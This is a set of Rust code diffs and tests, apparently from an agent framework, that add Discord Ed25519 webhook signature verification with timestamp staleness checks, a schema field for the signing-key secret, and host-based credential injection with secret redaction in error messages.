let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body_bytes = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_bytes);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body_bytes[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 — signature is valid (may be 500 since no WASM module)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid signature should not return 401"
);
}
#[tokio::test]
async fn test_webhook_skips_sig_for_no_key() {
let (_wasm_router, app) = setup_discord_router().await;
// No signature key registered — should not require signature
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 (may be 500 since no WASM module, but not auth failure)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"No signature key registered — should skip sig check"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_body() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let timestamp = "1234567890";
// Sign body A
let body_a = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_a);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send body B
let body_b = br#"{"type":2}"#;
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp)
.body(Body::from(&body_b[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature for different body should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_timestamp() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Sign with timestamp A
let timestamp_a = "1234567890";
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp_a.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send timestamp B in the header
let timestamp_b = "9999999999";
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp_b)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature with mismatched timestamp should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_plus_secret() {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: true,
}];
// Register with BOTH secret and signature key
wasm_router
.register(channel, endpoints, Some("my-secret".to_string()), None)
.await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let app = create_wasm_channel_router(wasm_router.clone(), None);
// Use current timestamp so staleness check passes
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// Provide valid signature AND valid secret
let req = Request::builder()
.method("POST")
.uri("/webhook/discord?secret=my-secret")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should pass both checks (may be 500 due to no WASM module, but not 401)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid secret + valid signature should not return 401"
);
}
}
+103
View File
@@ -111,6 +111,18 @@ impl ChannelCapabilitiesFile {
.and_then(|w| w.secret_header.as_deref())
}
/// Get the signature verification key secret name for this channel.
///
/// Returns the secret name declared in `webhook.signature_key_secret_name`,
/// used to look up the Ed25519 public key in the secrets store.
pub fn signature_key_secret_name(&self) -> Option<&str> {
self.capabilities
.channel
.as_ref()
.and_then(|c| c.webhook.as_ref())
.and_then(|w| w.signature_key_secret_name.as_deref())
}
/// Get the webhook secret name for this channel.
///
/// Returns the configured secret name or defaults to "{channel_name}_webhook_secret".
@@ -230,6 +242,11 @@ pub struct WebhookSchema {
/// Default: "{channel_name}_webhook_secret"
#[serde(default)]
pub secret_name: Option<String>,
/// Secret name in secrets store containing the Ed25519 public key
/// for signature verification (e.g., Discord interaction verification).
#[serde(default)]
pub signature_key_secret_name: Option<String>,
}
/// Setup configuration schema.
@@ -585,4 +602,90 @@ mod tests {
64
);
}
// ── Category 5: Discord Capabilities Setup & Configuration ──────────
#[test]
fn test_discord_capabilities_has_public_key_secret() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
let secret_names: Vec<&str> = file
.setup
.required_secrets
.iter()
.map(|s| s.name.as_str())
.collect();
assert!(
secret_names.contains(&"discord_public_key"),
"discord.capabilities.json must include discord_public_key in setup.required_secrets, \
found: {:?}",
secret_names
);
}
#[test]
fn test_webhook_schema_signature_key_secret_name() {
let json = r#"{
"name": "discord",
"capabilities": {
"channel": {
"allowed_paths": ["/webhook/discord"],
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(file.signature_key_secret_name(), Some("discord_public_key"));
}
#[test]
fn test_signature_key_secret_name_none_when_missing() {
let json = r#"{
"name": "telegram",
"capabilities": {
"channel": {
"allowed_paths": ["/webhook/telegram"],
"webhook": {
"secret_header": "X-Telegram-Bot-Api-Secret-Token"
}
}
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(file.signature_key_secret_name(), None);
}
#[test]
fn test_discord_capabilities_signature_key() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(
file.signature_key_secret_name(),
Some("discord_public_key"),
"discord.capabilities.json must declare signature_key_secret_name"
);
}
#[test]
fn test_discord_capabilities_secrets_allowlist() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
let caps = file.to_capabilities();
let secrets_caps = caps
.tool_capabilities
.secrets
.expect("Discord should have secrets capability");
assert!(
secrets_caps.is_allowed("discord_public_key"),
"discord_public_key must be in the secrets allowlist"
);
}
}
+341
View File
@@ -0,0 +1,341 @@
//! Discord Ed25519 signature verification.
//!
//! Validates `X-Signature-Ed25519` and `X-Signature-Timestamp` headers
//! on incoming Discord interaction webhooks, per Discord's security requirements.
//!
//! See: <https://discord.com/developers/docs/interactions/overview#validating-security-request-headers>
/// Verify a Discord interaction signature.
///
/// Discord signs each interaction with Ed25519 using:
/// - message = `timestamp` (UTF-8 bytes) ++ `body` (raw bytes)
/// - signature = Ed25519 detached signature (hex-encoded in header)
/// - public_key = Application public key from Developer Portal (hex-encoded)
///
/// Returns `true` if the signature is valid, `false` on any error
/// (bad hex, wrong length, invalid signature, etc.).
pub fn verify_discord_signature(
public_key_hex: &str,
signature_hex: &str,
timestamp: &str,
body: &[u8],
now_secs: i64,
) -> bool {
// Staleness check: reject non-numeric or stale/future timestamps
let ts: i64 = match timestamp.parse() {
Ok(v) => v,
Err(_) => return false,
};
if (now_secs - ts).abs() > 5 {
return false;
}
use ed25519_dalek::{Signature, VerifyingKey};
let Ok(sig_bytes) = hex::decode(signature_hex) else {
return false;
};
let Ok(key_bytes) = hex::decode(public_key_hex) else {
return false;
};
let Ok(signature) = Signature::from_slice(&sig_bytes) else {
return false;
};
let Ok(verifying_key) = VerifyingKey::try_from(key_bytes.as_slice()) else {
return false;
};
let mut message = Vec::with_capacity(timestamp.len() + body.len());
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
verifying_key.verify_strict(&message, &signature).is_ok()
}
#[cfg(test)]
mod tests {
use super::*;
use ed25519_dalek::{Signer, SigningKey};
/// Helper: generate a test keypair and produce a valid signature for the given timestamp+body.
fn sign_test_message(timestamp: &str, body: &[u8]) -> (String, String, String) {
let signing_key = SigningKey::from_bytes(&[
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
0x1c, 0xae, 0x7f, 0x60,
]);
let verifying_key = signing_key.verifying_key();
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let public_key_hex = hex::encode(verifying_key.to_bytes());
let signature_hex = hex::encode(signature.to_bytes());
(public_key_hex, signature_hex, timestamp.to_string())
}
// ── Category 2: Ed25519 Signature Verification ──────────────────────
/// Existing tests pass `now_secs` matching their hardcoded timestamp
/// so they continue testing crypto-only behavior.
const TEST_TS: i64 = 1234567890;
#[test]
fn test_valid_signature_succeeds() {
let timestamp = "1234567890";
let body = b"test body content";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Valid signature should verify successfully"
);
}
#[test]
fn test_invalid_signature_fails() {
let timestamp = "1234567890";
let body = b"test body content";
let (pub_key, mut sig, ts) = sign_test_message(timestamp, body);
// Tamper one byte of the signature
let mut sig_bytes = hex::decode(&sig).unwrap();
sig_bytes[0] ^= 0xff;
sig = hex::encode(&sig_bytes);
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Tampered signature should fail verification"
);
}
#[test]
fn test_tampered_body_fails() {
let timestamp = "1234567890";
let body = b"original body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
let tampered_body = b"tampered body";
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, tampered_body, TEST_TS),
"Signature for different body should fail"
);
}
#[test]
fn test_tampered_timestamp_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature(&pub_key, &sig, "9999999999", body, TEST_TS),
"Signature with wrong timestamp should fail"
);
}
#[test]
fn test_invalid_hex_signature_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature(&pub_key, "not-valid-hex-zzz", &ts, body, TEST_TS),
"Non-hex signature should fail gracefully"
);
}
#[test]
fn test_invalid_hex_public_key_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature("not-valid-hex-zzz", &sig, &ts, body, TEST_TS),
"Non-hex public key should fail gracefully"
);
}
#[test]
fn test_wrong_length_signature_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
// Too short (only 32 bytes instead of 64)
let short_sig = hex::encode([0u8; 32]);
assert!(
!verify_discord_signature(&pub_key, &short_sig, &ts, body, TEST_TS),
"Short signature should fail"
);
}
#[test]
fn test_wrong_length_public_key_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
// Too short (only 16 bytes instead of 32)
let short_key = hex::encode([0u8; 16]);
assert!(
!verify_discord_signature(&short_key, &sig, &ts, body, TEST_TS),
"Short public key should fail"
);
}
#[test]
fn test_empty_body_valid_signature() {
let timestamp = "1234567890";
let body = b"";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Empty body with valid signature should succeed"
);
}
#[test]
fn test_discord_reference_vector() {
// Hardcoded test vector using the RFC 8032 test key
// This ensures the implementation matches the standard Ed25519 algorithm
let signing_key = SigningKey::from_bytes(&[
0xc5, 0xaa, 0x8d, 0xf4, 0x3f, 0x9f, 0x83, 0x7b, 0xed, 0xb7, 0x44, 0x2f, 0x31, 0xdc,
0xb7, 0xb1, 0x66, 0xd3, 0x85, 0x35, 0x07, 0x6f, 0x09, 0x4b, 0x85, 0xce, 0x3a, 0x2e,
0x0b, 0x44, 0x58, 0xf7,
]);
let verifying_key = signing_key.verifying_key();
let public_key_hex = hex::encode(verifying_key.to_bytes());
let timestamp = "1609459200";
let now_secs: i64 = 1609459200;
let body = br#"{"type":1}"#; // Discord PING
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let signature_hex = hex::encode(signature.to_bytes());
assert!(
verify_discord_signature(&public_key_hex, &signature_hex, timestamp, body, now_secs),
"Reference vector should verify"
);
// Same key, but tampered body should fail
assert!(
!verify_discord_signature(
&public_key_hex,
&signature_hex,
timestamp,
br#"{"type":2}"#,
now_secs
),
"Reference vector with tampered body should fail"
);
}
// ── Category: Timestamp Staleness ─────────────────────────────────
#[test]
fn test_stale_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs is 100 seconds after the timestamp — too stale
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 100),
"Stale timestamp (100s old) should be rejected"
);
}
#[test]
fn test_future_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs is 100 seconds before the timestamp — future
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS - 100),
"Future timestamp (100s ahead) should be rejected"
);
}
#[test]
fn test_fresh_timestamp_accepted() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs matches exactly — fresh
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Fresh timestamp (0s difference) should be accepted"
);
}
#[test]
fn test_non_numeric_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass a non-numeric timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "not-a-number", body, 0),
"Non-numeric timestamp should be rejected"
);
}
#[test]
fn test_empty_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass an empty timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "", body, 0),
"Empty timestamp should be rejected"
);
}
#[test]
fn test_boundary_5s_accepted() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// Exactly 5 seconds difference — should be accepted (> 5, not >= 5)
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 5),
"Timestamp exactly 5s old should be accepted"
);
}
#[test]
fn test_boundary_6s_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// 6 seconds difference — should be rejected
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 6),
"Timestamp 6s old should be rejected"
);
}
#[test]
fn test_negative_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass a negative timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "-1", body, TEST_TS),
"Negative timestamp should be rejected"
);
}
}
+446 -4
View File
@@ -52,8 +52,12 @@ use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse,
use crate::error::ChannelError;
use crate::pairing::PairingStore;
use crate::safety::LeakDetector;
use crate::secrets::SecretsStore;
use crate::tools::wasm::LogLevel;
use crate::tools::wasm::WasmResourceLimiter;
use crate::tools::wasm::credential_injector::{
InjectedCredentials, host_matches_pattern, inject_credential,
};
// Generate component model bindings from the WIT file
wasmtime::component::bindgen!({
@@ -65,6 +69,23 @@ wasmtime::component::bindgen!({
},
});
/// Pre-resolved credential for host-based injection.
///
/// Built before each WASM execution by decrypting secrets from the store.
/// Applied per-request by matching the URL host against `host_patterns`.
/// WASM channels never see the raw secret values.
#[derive(Clone)]
struct ResolvedHostCredential {
/// Host patterns this credential applies to (e.g., "api.slack.com").
host_patterns: Vec<String>,
/// Headers to add to matching requests (e.g., "Authorization: Bearer ...").
headers: HashMap<String, String>,
/// Query parameters to add to matching requests.
query_params: HashMap<String, String>,
/// Raw secret value for redaction in error messages.
secret_value: String,
}
/// Store data for WASM channel execution.
///
/// Contains the resource limiter, channel-specific host state, and WASI context.
@@ -76,6 +97,9 @@ struct ChannelStoreData {
/// Injected credentials for URL substitution (e.g., bot tokens).
/// Keys are placeholder names like "TELEGRAM_BOT_TOKEN".
credentials: HashMap<String, String>,
/// Pre-resolved credentials for automatic host-based injection.
/// Applied per-request by matching the URL host against host_patterns.
host_credentials: Vec<ResolvedHostCredential>,
/// Pairing store for DM pairing (guest access control).
pairing_store: Arc<PairingStore>,
/// Dedicated tokio runtime for HTTP requests, lazily initialized.
@@ -89,6 +113,7 @@ impl ChannelStoreData {
channel_name: &str,
capabilities: ChannelCapabilities,
credentials: HashMap<String, String>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
) -> Self {
// Create a minimal WASI context (no filesystem, no env vars for security)
@@ -100,6 +125,7 @@ impl ChannelStoreData {
wasi,
table: ResourceTable::new(),
credentials,
host_credentials,
pairing_store,
http_runtime: None,
}
@@ -159,15 +185,74 @@ impl ChannelStoreData {
/// return values to WASM. reqwest::Error includes the full URL in its
/// Display output, so any error from an injected-URL request will
/// contain the raw credential unless we scrub it.
///
/// Scrubs raw, URL-encoded, and Base64-encoded forms of each secret
/// to prevent exfiltration via encoded representations in error strings.
fn redact_credentials(&self, text: &str) -> String {
let mut result = text.to_string();
for (name, value) in &self.credentials {
if !value.is_empty() {
result = result.replace(value, &format!("[REDACTED:{}]", name));
let tag = format!("[REDACTED:{}]", name);
result = result.replace(value, &tag);
// Also redact URL-encoded form (covers secrets in query strings)
let encoded = urlencoding::encode(value);
if encoded != *value {
result = result.replace(encoded.as_ref(), &tag);
}
}
}
for cred in &self.host_credentials {
if !cred.secret_value.is_empty() {
let tag = "[REDACTED:host_credential]";
result = result.replace(&cred.secret_value, tag);
// Also redact URL-encoded form (covers secrets injected as query params)
let encoded = urlencoding::encode(&cred.secret_value);
if encoded.as_ref() != cred.secret_value {
result = result.replace(encoded.as_ref(), tag);
}
}
}
result
}
/// Inject pre-resolved host credentials into the request.
///
/// Matches the URL host against each resolved credential's host_patterns.
/// Matching credentials have their headers merged and query params appended.
fn inject_host_credentials(
&self,
url_host: &str,
headers: &mut HashMap<String, String>,
url: &mut String,
) {
for cred in &self.host_credentials {
let matches = cred
.host_patterns
.iter()
.any(|pattern| host_matches_pattern(url_host, pattern));
if !matches {
continue;
}
// Merge injected headers (host credentials take precedence)
for (key, value) in &cred.headers {
headers.insert(key.clone(), value.clone());
}
// Append query parameters to URL
if !cred.query_params.is_empty() {
if let Ok(mut parsed_url) = url::Url::parse(url) {
for (name, value) in &cred.query_params {
parsed_url.query_pairs_mut().append_pair(name, value);
}
*url = parsed_url.to_string();
} else {
tracing::warn!(url = %url, "Could not parse URL to inject query parameters; skipping injection");
}
}
}
}
}
// Implement WasiView to provide WASI context and resource table
@@ -249,7 +334,7 @@ impl near::agent::channel_host::Host for ChannelStoreData {
let raw_headers: std::collections::HashMap<String, String> =
serde_json::from_str(&headers_json).unwrap_or_default();
let headers: std::collections::HashMap<String, String> = raw_headers
let mut headers: std::collections::HashMap<String, String> = raw_headers
.into_iter()
.map(|(k, v)| {
(
@@ -268,7 +353,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
"Parsed and injected request headers"
);
let url = injected_url;
let mut url = injected_url;
// Leak scan runs on WASM-provided values BEFORE host credential injection.
// This prevents false positives where the host-injected Bearer token
// (e.g., xoxb- Slack token) triggers the leak detector — WASM never saw
// the real value, so scanning the pre-injection state is correct.
let leak_detector = LeakDetector::new();
let header_vec: Vec<(String, String)> = headers
.iter()
@@ -279,6 +369,12 @@ impl near::agent::channel_host::Host for ChannelStoreData {
.scan_http_request(&url, &header_vec, body.as_deref())
.map_err(|e| format!("Potential secret leak blocked: {}", e))?;
// Inject pre-resolved host credentials (Bearer tokens, API keys, etc.)
// after the leak scan so host-injected secrets don't trigger false positives.
if let Some(host) = extract_host_from_url(&url) {
self.inject_host_credentials(&host, &mut headers, &mut url);
}
// Get the max response size from capabilities (default 10MB).
let max_response_bytes = self
.host_state
@@ -553,6 +649,44 @@ pub struct WasmChannel {
/// In-memory workspace store persisting writes across callback invocations.
/// Ensures WASM channels can maintain state (e.g., polling offsets) between ticks.
workspace_store: Arc<ChannelWorkspaceStore>,
/// Last-seen message metadata (contains chat_id for broadcast routing).
/// Populated from incoming messages so `broadcast()` knows where to send.
last_broadcast_metadata: Arc<tokio::sync::RwLock<Option<String>>>,
/// Settings store for persisting broadcast metadata across restarts.
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
/// Secrets store for host-based credential injection.
/// Used to pre-resolve credentials before each WASM callback.
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
}
/// Update broadcast metadata in memory and persist to the settings store when
/// it changes. Extracted as a free function so both the `WasmChannel` instance
/// method and the static polling helper share one implementation.
async fn do_update_broadcast_metadata(
channel_name: &str,
metadata: &str,
last_broadcast_metadata: &tokio::sync::RwLock<Option<String>>,
settings_store: Option<&Arc<dyn crate::db::SettingsStore>>,
) {
let mut guard = last_broadcast_metadata.write().await;
let changed = guard.as_deref() != Some(metadata);
*guard = Some(metadata.to_string());
drop(guard);
if changed && let Some(store) = settings_store {
let key = format!("channel_broadcast_metadata_{}", channel_name);
let value = serde_json::Value::String(metadata.to_string());
if let Err(e) = store.set_setting("default", &key, &value).await {
tracing::warn!(
channel = %channel_name,
"Failed to persist broadcast metadata: {}",
e
);
}
}
}
impl WasmChannel {
@@ -563,6 +697,7 @@ impl WasmChannel {
capabilities: ChannelCapabilities,
config_json: String,
pairing_store: Arc<PairingStore>,
settings_store: Option<Arc<dyn crate::db::SettingsStore>>,
) -> Self {
let name = prepared.name.clone();
let rate_limiter = ChannelEmitRateLimiter::new(capabilities.emit_rate_limit.clone());
@@ -584,9 +719,22 @@ impl WasmChannel {
typing_task: RwLock::new(None),
pairing_store,
workspace_store: Arc::new(ChannelWorkspaceStore::new()),
last_broadcast_metadata: Arc::new(tokio::sync::RwLock::new(None)),
settings_store,
secrets_store: None,
}
}
/// Set the secrets store for host-based credential injection.
///
/// When set, credentials declared in the channel's capabilities are
/// automatically decrypted and injected into HTTP requests based on
/// the target host (e.g., Bearer token for api.slack.com).
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
self.secrets_store = Some(store);
self
}
/// Update the channel config before starting.
///
/// Merges the provided values into the existing config JSON.
@@ -631,6 +779,51 @@ impl WasmChannel {
&self.name
}
/// Settings key for persisted broadcast metadata.
fn broadcast_metadata_key(&self) -> String {
format!("channel_broadcast_metadata_{}", self.name)
}
/// Update broadcast metadata in memory and persist if changed (best-effort).
///
/// Compares with the current value to avoid redundant DB writes on every
/// incoming message (the chat_id rarely changes).
async fn update_broadcast_metadata(&self, metadata: &str) {
do_update_broadcast_metadata(
&self.name,
metadata,
&self.last_broadcast_metadata,
self.settings_store.as_ref(),
)
.await;
}
/// Load broadcast metadata from settings store on startup.
async fn load_broadcast_metadata(&self) {
if let Some(ref store) = self.settings_store {
match store
.get_setting("default", &self.broadcast_metadata_key())
.await
{
Ok(Some(serde_json::Value::String(meta))) => {
*self.last_broadcast_metadata.write().await = Some(meta);
tracing::debug!(
channel = %self.name,
"Restored broadcast metadata from settings"
);
}
Ok(_) => {}
Err(e) => {
tracing::warn!(
channel = %self.name,
"Failed to load broadcast metadata: {}",
e
);
}
}
}
}
/// Get the channel capabilities.
pub fn capabilities(&self) -> &ChannelCapabilities {
&self.capabilities
@@ -685,6 +878,7 @@ impl WasmChannel {
prepared: &PreparedChannelModule,
capabilities: &ChannelCapabilities,
credentials: HashMap<String, String>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
) -> Result<Store<ChannelStoreData>, WasmChannelError> {
let engine = runtime.engine();
@@ -696,6 +890,7 @@ impl WasmChannel {
&prepared.name,
capabilities.clone(),
credentials,
host_credentials,
pairing_store,
);
let mut store = Store::new(engine, store_data);
@@ -806,6 +1001,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone();
@@ -817,6 +1015,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -942,6 +1141,9 @@ impl WasmChannel {
let capabilities = Self::inject_workspace_reader(&self.capabilities, &self.workspace_store);
let timeout = self.runtime.config().callback_timeout;
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone();
@@ -962,6 +1164,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1041,6 +1244,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let workspace_store = self.workspace_store.clone();
@@ -1052,6 +1258,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1142,6 +1349,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
// Prepare response data
@@ -1161,6 +1371,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
@@ -1255,6 +1466,9 @@ impl WasmChannel {
let timeout = self.runtime.config().callback_timeout;
let channel_name = self.name.clone();
let credentials = self.get_credentials().await;
let host_credentials =
resolve_channel_host_credentials(&self.capabilities, self.secrets_store.as_deref())
.await;
let pairing_store = self.pairing_store.clone();
let wit_update = status_to_wit(status, metadata);
@@ -1266,6 +1480,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1312,6 +1527,7 @@ impl WasmChannel {
prepared: &Arc<PreparedChannelModule>,
capabilities: &ChannelCapabilities,
credentials: &RwLock<HashMap<String, String>>,
host_credentials: Vec<ResolvedHostCredential>,
pairing_store: Arc<PairingStore>,
timeout: Duration,
wit_update: wit_channel::StatusUpdate,
@@ -1333,6 +1549,7 @@ impl WasmChannel {
&prepared,
&capabilities,
credentials_snapshot,
host_credentials,
pairing_store,
)?;
let instance = Self::instantiate_component(&runtime, &prepared, &mut store)?;
@@ -1414,6 +1631,13 @@ impl WasmChannel {
let prepared = Arc::clone(&self.prepared);
let capabilities = self.capabilities.clone();
let credentials = self.credentials.clone();
// Pre-resolve host credentials once for the lifetime of the repeater.
// Channels tokens rarely change, so a snapshot per-repeater is correct.
let repeater_host_credentials = resolve_channel_host_credentials(
&self.capabilities,
self.secrets_store.as_deref(),
)
.await;
let pairing_store = self.pairing_store.clone();
let callback_timeout = self.runtime.config().callback_timeout;
let wit_update = status_to_wit(&status, metadata);
@@ -1427,6 +1651,7 @@ impl WasmChannel {
interval.tick().await;
let wit_update_clone = clone_wit_status_update(&wit_update);
let hc = repeater_host_credentials.clone();
if let Err(e) = Self::execute_status(
&channel_name,
@@ -1434,6 +1659,7 @@ impl WasmChannel {
&prepared,
&capabilities,
&credentials,
hc,
pairing_store.clone(),
callback_timeout,
wit_update_clone,
@@ -1613,6 +1839,8 @@ impl WasmChannel {
// Parse metadata JSON
if let Ok(metadata) = serde_json::from_str(&emitted.metadata_json) {
msg = msg.with_metadata(metadata);
// Store for broadcast routing (chat_id etc.)
self.update_broadcast_metadata(&emitted.metadata_json).await;
}
// Send to stream
@@ -1649,13 +1877,17 @@ impl WasmChannel {
let channel_name = self.name.clone();
